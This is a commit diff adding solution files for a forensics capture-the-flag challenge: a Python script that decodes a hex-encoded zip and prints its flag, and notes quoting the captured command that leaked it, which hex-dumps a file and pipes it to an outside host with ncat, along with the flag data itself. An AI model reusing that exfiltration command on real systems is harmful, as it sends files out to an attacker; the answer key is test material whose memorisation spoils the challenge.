added all ctfs

hackerpole/forensics/cap_ou_pcap/decode.py

@@ -0,0 +1,17 @@
+#!/usr/bin/env python3
+
+import zipfile
+import os
+
+data = bytes.fromhex("504b0304140000000800a231825065235c39420000004700000008001c00666c61672e7478745554090003bfc8855ebfc8855e75780b000104e803000004e80300000dc9c11180300804c0bfd5840408bc33630356e00568c2b177ddef9eeb5a8fe6ee06ce8e5684f0845997192aad44ecaedc7f8e1acc4e3ec1a8eda164d48c28c77b7c504b01021e03140000000800a231825065235c394200000047000000080018000000000001000000a48100000000666c61672e7478745554050003bfc8855e75780b000104e803000004e8030000504b050600000000010001004e000000840000000000")
+with open("flag.zip", "wb") as f:
+    f.write(data)
+
+with zipfile.ZipFile("flag.zip", "r") as zip_ref:
+    zip_ref.extractall(".")
+
+with open("flag.txt", "r") as flag_file:
+    print(flag_file.read()) 
+
+os.remove("flag.zip")
+os.remove("flag.txt")

hackerpole/forensics/cap_ou_pcap/notes.md

@@ -0,0 +1,5 @@
+Command that leaks the flag:
+xxd -p Documents/flag.zip | tr -d '\n' | ncat 172.20.20.133 20200
+
+> flag is encoded in hex
+flag: 504b0304140000000800a231825065235c39420000004700000008001c00666c61672e7478745554090003bfc8855ebfc8855e75780b000104e803000004e80300000dc9c11180300804c0bfd5840408bc33630356e00568c2b177ddef9eeb5a8fe6ee06ce8e5684f0845997192aad44ecaedc7f8e1acc4e3ec1a8eda164d48c28c77b7c504b01021e03140000000800a231825065235c394200000047000000080018000000000001000000a48100000000666c61672e7478745554050003bfc8855e75780b000104e803000004e8030000504b050600000000010001004e000000840000000000